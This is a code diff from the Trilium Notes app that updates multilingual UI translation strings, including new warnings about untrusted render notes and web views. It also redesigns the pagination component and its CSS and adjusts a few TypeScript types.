"export_in_progress": "내보내기 진행 중: {{progressCount}}",
|
||||
"export_finished_successfully": "내보내기를 성공적으로 완료했습니다.",
|
||||
"format_pdf": "PDF - 인쇄 또는 공유용",
|
||||
"share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다."
|
||||
},
|
||||
"help": {
|
||||
"title": "치트 시트",
|
||||
"editShortcuts": "키보드 단축키 편집"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -261,7 +261,6 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Strona {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notatek"
|
||||
},
|
||||
"collections": {
|
||||
@@ -1432,10 +1431,6 @@
|
||||
"default_new_note_title": "nowa notatka",
|
||||
"click_on_canvas_to_place_new_note": "Kliknij na płótnie, aby umieścić nową notatkę"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Ta notatka pomocy jest wyświetlana, ponieważ ta notatka typu Render HTML nie ma wymaganej relacji do poprawnego działania.",
|
||||
"note_detail_render_help_2": "Typ notatki Render HTML jest używany do <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">skryptowania</a>. W skrócie, masz notatkę kodu HTML (opcjonalnie z JavaScript) i ta notatka ją wyrenderuje. Aby to zadziałało, musisz zdefiniować <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relację</a> o nazwie \"renderNote\" wskazującą na notatkę HTML do wyrenderowania."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Odśwież"
|
||||
},
|
||||
|
||||
@@ -1064,10 +1064,6 @@
|
||||
"default_new_note_title": "nova nota",
|
||||
"click_on_canvas_to_place_new_note": "Clique no quadro para incluir uma nova nota"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Esta nota de ajuda é mostrada porque esta nota do tipo Renderizar HTML não possui a relação necessária para funcionar corretamente.",
|
||||
"note_detail_render_help_2": "O tipo de nota Renderizar HTML é usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">automação</a>. Em suma, tem uma nota de código HTML (opcionalmente com algum JavaScript) e esta nota irá renderizá-la. Para fazê-lo funcionar, deve definir uma <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relação</a> chamada \"renderNote\" que aponta para a nota HTML a ser renderizada."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Recarregar"
|
||||
},
|
||||
@@ -2169,7 +2165,6 @@
|
||||
"delete_note": "Apagar nota..."
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Página {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notas"
|
||||
},
|
||||
"collections": {
|
||||
|
||||
@@ -1991,10 +1991,6 @@
|
||||
"drag_locked_title": "Bloqueado para edição",
|
||||
"drag_locked_message": "Arrastar não é permitido pois a coleção está bloqueada para edição."
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Esta nota de ajuda é mostrada porque esta nota do tipo Renderizar HTML não possui a relação necessária para funcionar corretamente.",
|
||||
"note_detail_render_help_2": "O tipo de nota Renderizar HTML é usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">automação</a>. Em suma, você tem uma nota de código HTML (opcionalmente com algum JavaScript) e esta nota irá renderizá-la. Para fazê-lo funcionar, você precisa definir uma <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relação</a> chamada \"renderNote\" apontando para a nota HTML a ser renderizada."
|
||||
},
|
||||
"etapi": {
|
||||
"title": "ETAPI",
|
||||
"description": "ETAPI é uma API REST usada para acessar a instância do Trilium programaticamente, sem interface gráfica.",
|
||||
@@ -2119,7 +2115,6 @@
|
||||
"shared_locally": "Esta nota é compartilhada localmente em {{- link}}."
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Página de {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notas"
|
||||
},
|
||||
"collections": {
|
||||
|
||||
@@ -1094,10 +1094,6 @@
|
||||
"rename_relation_from": "Redenumește relația din",
|
||||
"to": "În"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Această notă informativă este afișată deoarece această notiță de tip „Randare HTML” nu are relația necesară pentru a funcționa corespunzător.",
|
||||
"note_detail_render_help_2": "Notița de tipul „Render HTML” este utilizată pentru <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scriptare</a>. Pe scurt, se folosește o notiță de tip cod HTML (opțional cu niște JavaScript) și această notiță o va randa. Pentru a funcționa, trebuie definită o <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relație</a> denumită „renderNote” ce indică notița HTML de randat."
|
||||
},
|
||||
"revisions": {
|
||||
"confirm_delete": "Doriți ștergerea acestei revizii?",
|
||||
"confirm_delete_all": "Doriți ștergerea tuturor reviziilor acestei notițe?",
|
||||
@@ -2155,7 +2151,6 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Pagina pentru {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notițe"
|
||||
},
|
||||
"collections": {
|
||||
|
||||
@@ -2081,10 +2081,6 @@
|
||||
"help-button": {
|
||||
"title": "Открыть соответствующую страницу справки"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_2": "Тип заметки «Рендер HTML» используется для <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">скриптинга</a>. Если коротко, у вас есть заметка с HTML-кодом (возможно, с добавлением JavaScript), и эта заметка её отобразит. Для этого необходимо определить <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">отношение</a> с именем «renderNote», указывающее на HTML-заметку для отрисовки.",
|
||||
"note_detail_render_help_1": "Эта справочная заметка отображается, поскольку эта справка типа Render HTML не имеет необходимой связи для правильной работы."
|
||||
},
|
||||
"file": {
|
||||
"too_big": "В целях повышения производительности в режиме предварительного просмотра отображаются только первые {{maxNumChars}} символов файла. Загрузите файл и откройте его во внешнем браузере, чтобы увидеть всё содержимое.",
|
||||
"file_preview_not_available": "Предварительный просмотр файла недоступен для этого файла."
|
||||
@@ -2154,8 +2150,7 @@
|
||||
"rendering_error": "Невозможно отобразить содержимое из-за ошибки."
|
||||
},
|
||||
"pagination": {
|
||||
"total_notes": "{{count}} заметок",
|
||||
"page_title": "Страница {{startIndex}} - {{endIndex}}"
|
||||
"total_notes": "{{count}} заметок"
|
||||
},
|
||||
"status_bar": {
|
||||
"attributes_one": "{{count}} атрибут",
|
||||
|
||||
@@ -1007,7 +1007,7 @@
|
||||
"no_attachments": "此筆記沒有附件。"
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "此類型為書籍的筆記沒有任何子筆記,因此沒有內容可顯示。請參閱 <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> 以了解詳情。",
|
||||
"no_children_help": "此集合沒有任何子筆記,因此沒有內容可顯示。",
|
||||
"drag_locked_title": "鎖定編輯",
|
||||
"drag_locked_message": "無法拖曳,因為此集合已被鎖定編輯。"
|
||||
},
|
||||
@@ -1063,10 +1063,6 @@
|
||||
"default_new_note_title": "新筆記",
|
||||
"click_on_canvas_to_place_new_note": "點擊畫布以放置新筆記"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "之所以顯示此說明筆記,是因為該類型的渲染 HTML 沒有設定好必須的關聯。",
|
||||
"note_detail_render_help_2": "渲染筆記類型用於編寫 <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">腳本</a>。簡單說就是您可以寫HTML程式碼(或者加上一些JavaScript程式碼), 然後這個筆記會把頁面渲染出來。要使其正常工作,您需要定義一個名為 \"renderNote\" 的 <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">關聯</a> 指向要呈現的 HTML 筆記。"
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "重新整理"
|
||||
},
|
||||
@@ -1377,7 +1373,8 @@
|
||||
"description": "描述",
|
||||
"reload_app": "重新載入應用以套用更改",
|
||||
"set_all_to_default": "將所有快捷鍵重設為預設值",
|
||||
"confirm_reset": "您確定要將所有鍵盤快捷鍵重設為預設值嗎?"
|
||||
"confirm_reset": "您確定要將所有鍵盤快捷鍵重設為預設值嗎?",
|
||||
"no_results": "未找到符合 '{{filter}}' 的捷徑"
|
||||
},
|
||||
"spellcheck": {
|
||||
"title": "拼寫檢查",
|
||||
@@ -1581,7 +1578,9 @@
|
||||
"print_report_collection_content_one": "集合中的 {{count}} 篇筆記無法列印,因為它們不被支援或受到保護。",
|
||||
"print_report_collection_content_other": "",
|
||||
"print_report_collection_details_button": "查看詳情",
|
||||
"print_report_collection_details_ignored_notes": "忽略的筆記"
|
||||
"print_report_collection_details_ignored_notes": "忽略的筆記",
|
||||
"print_report_error_title": "列印失敗",
|
||||
"print_report_stack_trace": "堆棧追蹤"
|
||||
},
|
||||
"note_title": {
|
||||
"placeholder": "請輸入筆記標題...",
|
||||
@@ -2075,7 +2074,8 @@
|
||||
"raster": "柵格",
|
||||
"vector_light": "向量(淺色)",
|
||||
"vector_dark": "向量(深色)",
|
||||
"show-scale": "顯示比例尺"
|
||||
"show-scale": "顯示比例尺",
|
||||
"show-labels": "顯示標記名稱"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "刪除列"
|
||||
@@ -2154,7 +2154,6 @@
|
||||
"app-restart-required": "(需要重啟程式以套用更改)"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "第 {{startIndex}} - {{endIndex}} 頁",
|
||||
"total_notes": "{{count}} 筆記"
|
||||
},
|
||||
"collections": {
|
||||
@@ -2278,5 +2277,49 @@
|
||||
},
|
||||
"bookmark_buttons": {
|
||||
"bookmarks": "書籤"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "在此筆記中顯示自訂 HTML 或 Preact JSX",
|
||||
"setup_create_sample_preact": "使用 Preact 建立範例筆記",
|
||||
"setup_create_sample_html": "使用 HTML 建立範例筆記",
|
||||
"setup_sample_created": "已建立一個範例筆記作為子筆記。",
|
||||
"disabled_description": "此渲染筆記來自外部來源。為保護您免受惡意內容侵害,此功能預設為停用狀態。啟用前請務必確認來源可信。",
|
||||
"disabled_button_enable": "啟用渲染筆記"
|
||||
},
|
||||
"web_view_setup": {
|
||||
"title": "將網頁直接匯入 Trilium 建立即時預覽",
|
||||
"url_placeholder": "輸入或貼上網站網址,例如 https://triliumnotes.org",
|
||||
"create_button": "建立網頁檢視",
|
||||
"invalid_url_title": "無效地址",
|
||||
"invalid_url_message": "請輸入有效的網址,例如 https://triliumnotes.org。",
|
||||
"disabled_description": "此網頁檢視來自外部來源。為協助保護您免受網路釣魚或惡意內容侵害,內容不會自動載入。若您信任來源,可手動啟用此功能。",
|
||||
"disabled_button_enable": "啟用網頁檢視"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "圖示包",
|
||||
"type_backend_script": "後端腳本",
|
||||
"type_frontend_script": "前端腳本",
|
||||
"type_widget": "元件",
|
||||
"type_app_css": "自訂 CSS",
|
||||
"type_render_note": "渲染筆記",
|
||||
"type_web_view": "網頁顯示",
|
||||
"type_app_theme": "自訂主題",
|
||||
"toggle_tooltip_enable_tooltip": "點擊以啟用此 {{type}}。",
|
||||
"toggle_tooltip_disable_tooltip": "點擊以停用此 {{type}}。",
|
||||
"menu_docs": "打開文件",
|
||||
"menu_execute_now": "立即執行腳本",
|
||||
"menu_run": "自動執行",
|
||||
"menu_run_disabled": "手動",
|
||||
"menu_run_backend_startup": "當後端啟動時",
|
||||
"menu_run_hourly": "每小時",
|
||||
"menu_run_daily": "每日",
|
||||
"menu_run_frontend_startup": "當桌面前端啟動時",
|
||||
"menu_run_mobile_startup": "當移動前端啟動時",
|
||||
"menu_change_to_widget": "更改為元件",
|
||||
"menu_change_to_frontend_script": "更改為前端腳本",
|
||||
"menu_theme_base": "主題基底"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "了解更多"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1130,10 +1130,6 @@
|
||||
"default_new_note_title": "нова нотатка",
|
||||
"click_on_canvas_to_place_new_note": "Натисніть на полотно, щоб розмістити нову нотатку"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Ця довідка відображається, оскільки ця нотатка типу Render HTML не має необхідного зв'язку для належного функціонування.",
|
||||
"note_detail_render_help_2": "Тип нотатки Render HTML використовується для <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">скриптів</a>. Коротше кажучи, у вас є нотатка з HTML-кодом (за бажанням з деяким JavaScript), і ця нотатка її відобразить. Щоб це запрацювало, вам потрібно визначити <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">відношення</a> під назвою \"renderNote\", яке вказує на нотатку HTML для відображення."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Оновити"
|
||||
},
|
||||
@@ -2067,7 +2063,6 @@
|
||||
"app-restart-required": "(щоб зміни набули чинності, потрібен перезапуск програми)"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Сторінка {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} нотаток"
|
||||
},
|
||||
"collections": {
|
||||
|
||||
10
apps/client/src/types-lib.d.ts
vendored
10
apps/client/src/types-lib.d.ts
vendored
@@ -63,11 +63,13 @@ declare global {
|
||||
|
||||
declare module "preact" {
|
||||
namespace JSX {
|
||||
interface ElectronWebViewElement extends JSX.HTMLAttributes<HTMLElement> {
|
||||
src: string;
|
||||
class: string;
|
||||
}
|
||||
|
||||
interface IntrinsicElements {
|
||||
webview: {
|
||||
src: string;
|
||||
class: string;
|
||||
}
|
||||
webview: ElectronWebViewElement;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
2
apps/client/src/types.d.ts
vendored
2
apps/client/src/types.d.ts
vendored
@@ -119,7 +119,7 @@ declare global {
|
||||
setNote(noteId: string);
|
||||
}
|
||||
|
||||
var logError: (message: string, e?: Error | string) => void;
|
||||
var logError: (message: string, e?: unknown) => void;
|
||||
var logInfo: (message: string) => void;
|
||||
var glob: CustomGlobals;
|
||||
//@ts-ignore
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import "./NoteDetail.css";
|
||||
|
||||
import clsx from "clsx";
|
||||
import { note } from "mermaid/dist/rendering-util/rendering-elements/shapes/note.js";
|
||||
import { isValidElement, VNode } from "preact";
|
||||
import { useEffect, useRef, useState } from "preact/hooks";
|
||||
|
||||
@@ -355,6 +356,14 @@ export function checkFullHeight(noteContext: NoteContext | undefined, type: Exte
|
||||
// https://github.com/zadam/trilium/issues/2522
|
||||
const isBackendNote = noteContext?.noteId === "_backendLog";
|
||||
const isFullHeightNoteType = type && TYPE_MAPPINGS[type].isFullHeight;
|
||||
|
||||
// Allow vertical centering when there are no results.
|
||||
if (type === "book" &&
|
||||
[ "grid", "list" ].includes(noteContext.note?.getLabelValue("viewType") ?? "grid") &&
|
||||
!noteContext.note?.hasChildren()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return (!noteContext?.hasNoteList() && isFullHeightNoteType)
|
||||
|| noteContext?.viewScope?.viewMode === "attachments"
|
||||
|| isBackendNote;
|
||||
|
||||
@@ -47,6 +47,7 @@ export default function GlobalMenu({ isHorizontalLayout }: { isHorizontalLayout:
|
||||
>
|
||||
{isMobile() && <>
|
||||
<MenuItem command="searchNotes" icon="bx bx-search" text={t("global_menu.search_notes")} />
|
||||
<MenuItem command="showRecentChanges" icon="bx bx-history" text={t("recent_changes.title")} />
|
||||
<FormDropdownDivider />
|
||||
</>}
|
||||
|
||||
|
||||
@@ -2,8 +2,12 @@
|
||||
min-height: 0;
|
||||
max-width: var(--max-content-width); /* Inherited from .note-split */
|
||||
|
||||
overflow: auto;
|
||||
overflow: visible;
|
||||
contain: none !important;
|
||||
|
||||
&.full-height {
|
||||
overflow: auto;
|
||||
}
|
||||
}
|
||||
|
||||
body.prefers-centered-content .note-list-widget:not(.full-height) {
|
||||
@@ -19,14 +23,3 @@ body.prefers-centered-content .note-list-widget:not(.full-height) {
|
||||
.note-list-widget video {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
/* #region Pagination */
|
||||
.note-list-pager {
|
||||
font-size: 1rem;
|
||||
|
||||
span.current-page {
|
||||
text-decoration: underline;
|
||||
font-weight: bold;
|
||||
}
|
||||
}
|
||||
/* #endregion */
|
||||
|
||||
88
apps/client/src/widgets/collections/Pagination.css
Normal file
88
apps/client/src/widgets/collections/Pagination.css
Normal file
@@ -0,0 +1,88 @@
|
||||
:where(.note-list-pager) {
|
||||
--note-list-pager-page-button-width: 40px;
|
||||
--note-list-pager-page-button-gap: 3px;
|
||||
--note-list-pager-ellipsis-width: 20px;
|
||||
--note-list-pager-justify-content: flex-end;
|
||||
|
||||
--note-list-pager-current-page-button-background-color: var(--button-group-active-button-background);
|
||||
--note-list-pager-current-page-button-text-color: var(--button-group-active-button-text-color);
|
||||
}
|
||||
|
||||
.note-list-pager-container {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
width: 100%;
|
||||
container: note-list-pager / inline-size;
|
||||
}
|
||||
|
||||
.note-list-pager {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: .8rem;
|
||||
align-self: var(--note-list-pager-justify-content);
|
||||
|
||||
.note-list-pager-nav-button {
|
||||
--icon-button-icon-ratio: .75;
|
||||
}
|
||||
|
||||
.note-list-pager-page-button-container {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-around;
|
||||
gap: var(--note-list-pager-page-button-gap);
|
||||
|
||||
&.note-list-pager-ellipsis-present {
|
||||
/* Prevent the prev/next buttons from shifting when ellipses appear or disappear */
|
||||
--_gap-max-width: calc((var(--note-list-pager-page-button-count) + 2) * var(--note-list-pager-page-button-gap));
|
||||
|
||||
min-width: calc(var(--note-list-pager-page-button-count) * var(--note-list-pager-page-button-width)
|
||||
+ (var(--note-list-pager-ellipsis-width) * 2)
|
||||
+ var(--_gap-max-width));
|
||||
}
|
||||
|
||||
.note-list-pager-page-button {
|
||||
min-width: var(--note-list-pager-page-button-width);
|
||||
padding-inline: 0;
|
||||
padding-block: 4px;
|
||||
|
||||
&.note-list-pager-page-button-current {
|
||||
background: var(--note-list-pager-current-page-button-background-color);
|
||||
color: var(--note-list-pager-current-page-button-text-color);
|
||||
font-weight: bold;
|
||||
opacity: unset;
|
||||
}
|
||||
}
|
||||
|
||||
.note-list-pager-ellipsis {
|
||||
display: inline-block;
|
||||
width: var(--note-list-pager-ellipsis-width);
|
||||
text-align: center;
|
||||
opacity: .5;
|
||||
}
|
||||
}
|
||||
|
||||
.note-list-pager-narrow-counter {
|
||||
display: none;
|
||||
min-width: 60px;
|
||||
text-align: center;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.note-list-pager-total-count {
|
||||
margin-inline-start: 8px;
|
||||
opacity: .5;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
@container note-list-pager (max-width: 550px) {
|
||||
.note-list-pager-page-button-container,
|
||||
.note-list-pager-total-count {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.note-list-pager-narrow-counter {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,10 @@ import FNote from "../../entities/fnote";
|
||||
import froca from "../../services/froca";
|
||||
import { useNoteLabelInt } from "../react/hooks";
|
||||
import { t } from "../../services/i18n";
|
||||
import ActionButton from "../react/ActionButton";
|
||||
import Button from "../react/Button";
|
||||
import "./Pagination.css";
|
||||
import clsx from "clsx";
|
||||
|
||||
interface PaginationContext {
|
||||
page: number;
|
||||
@@ -17,46 +21,106 @@ interface PaginationContext {
|
||||
export function Pager({ page, pageSize, setPage, pageCount, totalNotes }: Omit<PaginationContext, "pageNotes">) {
|
||||
if (pageCount < 2) return;
|
||||
|
||||
let lastPrinted = false;
|
||||
let children: ComponentChildren[] = [];
|
||||
for (let i = 1; i <= pageCount; i++) {
|
||||
if (pageCount < 20 || i <= 5 || pageCount - i <= 5 || Math.abs(page - i) <= 2) {
|
||||
lastPrinted = true;
|
||||
|
||||
const startIndex = (i - 1) * pageSize + 1;
|
||||
const endIndex = Math.min(totalNotes, i * pageSize);
|
||||
|
||||
if (i !== page) {
|
||||
children.push((
|
||||
<a
|
||||
href="javascript:"
|
||||
title={t("pagination.page_title", { startIndex, endIndex })}
|
||||
onClick={() => setPage(i)}
|
||||
>
|
||||
{i}
|
||||
</a>
|
||||
))
|
||||
} else {
|
||||
// Current page
|
||||
children.push(<span className="current-page">{i}</span>)
|
||||
}
|
||||
|
||||
children.push(<>{" "} {" "}</>);
|
||||
} else if (lastPrinted) {
|
||||
children.push(<>{"... "} {" "}</>);
|
||||
lastPrinted = false;
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div class="note-list-pager">
|
||||
{children}
|
||||
<div className="note-list-pager-container">
|
||||
<div className="note-list-pager">
|
||||
<ActionButton
|
||||
icon="bx bx-chevron-left"
|
||||
className="note-list-pager-nav-button"
|
||||
disabled={(page === 1)}
|
||||
text={t("pagination.prev_page")}
|
||||
onClick={() => setPage(page - 1)}
|
||||
/>
|
||||
|
||||
<span className="note-list-pager-total-count">({t("pagination.total_notes", { count: totalNotes })})</span>
|
||||
<PageButtons page={page} setPage={setPage} pageCount={pageCount} />
|
||||
<div className="note-list-pager-narrow-counter">
|
||||
<strong>{page}</strong> / <strong>{pageCount}</strong>
|
||||
</div>
|
||||
|
||||
<ActionButton
|
||||
icon="bx bx-chevron-right"
|
||||
className="note-list-pager-nav-button"
|
||||
disabled={(page === pageCount)}
|
||||
text={t("pagination.next_page")}
|
||||
onClick={() => setPage(page + 1)}
|
||||
/>
|
||||
|
||||
<div className="note-list-pager-total-count">
|
||||
{t("pagination.total_notes", { count: totalNotes })}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
interface PageButtonsProps {
|
||||
page: number;
|
||||
setPage: Dispatch<StateUpdater<number>>;
|
||||
pageCount: number;
|
||||
}
|
||||
|
||||
function PageButtons(props: PageButtonsProps) {
|
||||
const maxButtonCount = 9;
|
||||
const maxLeftRightSegmentLength = 2;
|
||||
|
||||
// The left-side segment
|
||||
const leftLength = Math.min(props.pageCount, maxLeftRightSegmentLength);
|
||||
const leftStart = 1;
|
||||
|
||||
// The middle segment
|
||||
const middleMaxLength = maxButtonCount - maxLeftRightSegmentLength * 2;
|
||||
const middleLength = Math.min(props.pageCount - leftLength, middleMaxLength);
|
||||
let middleStart = props.page - Math.floor(middleLength / 2);
|
||||
middleStart = Math.max(middleStart, leftLength + 1);
|
||||
|
||||
// The right-side segment
|
||||
const rightLength = Math.min(props.pageCount - (middleLength + leftLength), maxLeftRightSegmentLength);
|
||||
const rightStart = props.pageCount - rightLength + 1;
|
||||
middleStart = Math.min(middleStart, rightStart - middleLength);
|
||||
|
||||
const totalButtonCount = leftLength + middleLength + rightLength;
|
||||
const hasLeadingEllipsis = (middleStart - leftLength > 1);
|
||||
const hasTrailingEllipsis = (rightStart - (middleStart + middleLength - 1) > 1);
|
||||
|
||||
return <div className={clsx("note-list-pager-page-button-container", {
|
||||
"note-list-pager-ellipsis-present": (totalButtonCount === maxButtonCount)
|
||||
})}
|
||||
style={{"--note-list-pager-page-button-count": totalButtonCount}}>
|
||||
{[
|
||||
...createSegment(leftStart, leftLength, props.page, props.setPage, false),
|
||||
...createSegment(middleStart, middleLength, props.page, props.setPage, hasLeadingEllipsis),
|
||||
...createSegment(rightStart, rightLength, props.page, props.setPage, hasTrailingEllipsis),
|
||||
]}
|
||||
</div>;
|
||||
}
|
||||
|
||||
function createSegment(start: number, length: number, currentPage: number, setPage: Dispatch<StateUpdater<number>>, prependEllipsis: boolean): ComponentChildren[] {
|
||||
const children: ComponentChildren[] = [];
|
||||
|
||||
if (prependEllipsis) {
|
||||
children.push(<span className="note-list-pager-ellipsis">...</span>);
|
||||
}
|
||||
|
||||
for (let i = 0; i < length; i++) {
|
||||
const pageNum = start + i;
|
||||
const isCurrent = (pageNum === currentPage);
|
||||
children.push((
|
||||
<Button
|
||||
text={pageNum.toString()}
|
||||
kind="lowProfile"
|
||||
className={clsx(
|
||||
"note-list-pager-page-button",
|
||||
{"note-list-pager-page-button-current": isCurrent}
|
||||
)}
|
||||
disabled={isCurrent}
|
||||
onClick={() => setPage(pageNum)}
|
||||
/>
|
||||
));
|
||||
}
|
||||
|
||||
return children;
|
||||
}
|
||||
|
||||
export function usePagination(note: FNote, noteIds: string[]): PaginationContext {
|
||||
const [ page, setPage ] = useState(1);
|
||||
const [ pageNotes, setPageNotes ] = useState<FNote[]>();
|
||||
|
||||
@@ -18,6 +18,10 @@ body.mobile .geo-view > .collection-properties {
|
||||
.geo-map-container {
|
||||
height: 100%;
|
||||
overflow: hidden;
|
||||
|
||||
.maplibregl-canvas-container {
|
||||
position: relative;
|
||||
}
|
||||
}
|
||||
|
||||
.leaflet-pane {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
.note-list {
|
||||
overflow: hidden;
|
||||
overflow: visible;
|
||||
position: relative;
|
||||
height: 100%;
|
||||
}
|
||||
@@ -100,23 +100,206 @@
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.note-expander {
|
||||
font-size: x-large;
|
||||
position: relative;
|
||||
top: 3px;
|
||||
cursor: pointer;
|
||||
/* #region List view */
|
||||
|
||||
@keyframes note-preview-show {
|
||||
from {
|
||||
opacity: 0;
|
||||
} to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
.note-list-pager {
|
||||
text-align: center;
|
||||
.nested-note-list {
|
||||
--card-nested-section-indent: 25px;
|
||||
|
||||
&.search-results {
|
||||
--card-nested-section-indent: 32px;
|
||||
}
|
||||
}
|
||||
|
||||
.note-list.list-view .note-path {
|
||||
margin-left: 0.5em;
|
||||
vertical-align: middle;
|
||||
opacity: 0.5;
|
||||
/* List item */
|
||||
.nested-note-list-item {
|
||||
h5 {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 1em;
|
||||
font-weight: normal;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.note-expander {
|
||||
margin-inline-end: 4px;
|
||||
font-size: x-large;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.tn-icon {
|
||||
margin-inline-end: 8px;
|
||||
color: var(--note-list-view-icon-color);
|
||||
font-size: 1.2em;
|
||||
}
|
||||
|
||||
.note-book-title {
|
||||
--link-hover-background: transparent;
|
||||
--link-hover-color: currentColor;
|
||||
color: inherit;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.note-path {
|
||||
margin-left: 0.5em;
|
||||
vertical-align: middle;
|
||||
opacity: 0.5;
|
||||
}
|
||||
|
||||
.note-list-attributes {
|
||||
flex-grow: 1;
|
||||
margin-inline-start: 1em;
|
||||
text-align: right;
|
||||
font-size: .75em;
|
||||
opacity: .75;
|
||||
}
|
||||
|
||||
.nested-note-list-item-menu {
|
||||
margin-inline-start: 8px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
&.archived {
|
||||
span.tn-icon + span,
|
||||
.tn-icon {
|
||||
opacity: .6;
|
||||
}
|
||||
}
|
||||
|
||||
&.use-note-color {
|
||||
span.tn-icon + span,
|
||||
.nested-note-list:not(.search-results) & .tn-icon,
|
||||
.rendered-note-attributes {
|
||||
color: var(--custom-color);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.nested-note-list:not(.search-results) h5 {
|
||||
span.tn-icon + span,
|
||||
.note-list-attributes {
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
}
|
||||
|
||||
/* List item (search results view) */
|
||||
.nested-note-list.search-results .nested-note-list-item {
|
||||
span.tn-icon + span > span {
|
||||
display: flex;
|
||||
flex-direction: column-reverse;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
small {
|
||||
line-height: .85em;
|
||||
}
|
||||
|
||||
.note-path {
|
||||
margin-left: 0;
|
||||
font-size: .85em;
|
||||
line-height: .85em;
|
||||
font-weight: 500;
|
||||
letter-spacing: .5pt;
|
||||
}
|
||||
|
||||
.tn-icon {
|
||||
display: flex;
|
||||
flex-shrink: 0;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
width: 1.75em;
|
||||
height: 1.75em;
|
||||
margin-inline-end: 12px;
|
||||
border-radius: 50%;
|
||||
background: var(--note-icon-custom-background-color, var(--note-list-view-large-icon-background));
|
||||
font-size: 1.2em;
|
||||
color: var(--note-icon-custom-color, var(--note-list-view-large-icon-color));
|
||||
}
|
||||
|
||||
h5 .ck-find-result {
|
||||
background: var(--note-list-view-search-result-highlight-background);
|
||||
color: var(--note-list-view-search-result-highlight-color);
|
||||
font-weight: 600;
|
||||
text-decoration: underline;
|
||||
}
|
||||
}
|
||||
|
||||
/* Note content preview */
|
||||
.nested-note-list .note-book-content {
|
||||
display: none;
|
||||
outline: 1px solid var(--note-list-view-content-background);
|
||||
border-radius: 8px;
|
||||
background-color: var(--note-list-view-content-background);
|
||||
overflow: hidden;
|
||||
user-select: text;
|
||||
font-size: .85rem;
|
||||
animation: note-preview-show .25s ease-out;
|
||||
will-change: opacity;
|
||||
|
||||
&.note-book-content-ready {
|
||||
display: block;
|
||||
}
|
||||
|
||||
> .rendered-content > *:last-child {
|
||||
margin-bottom: 0;
|
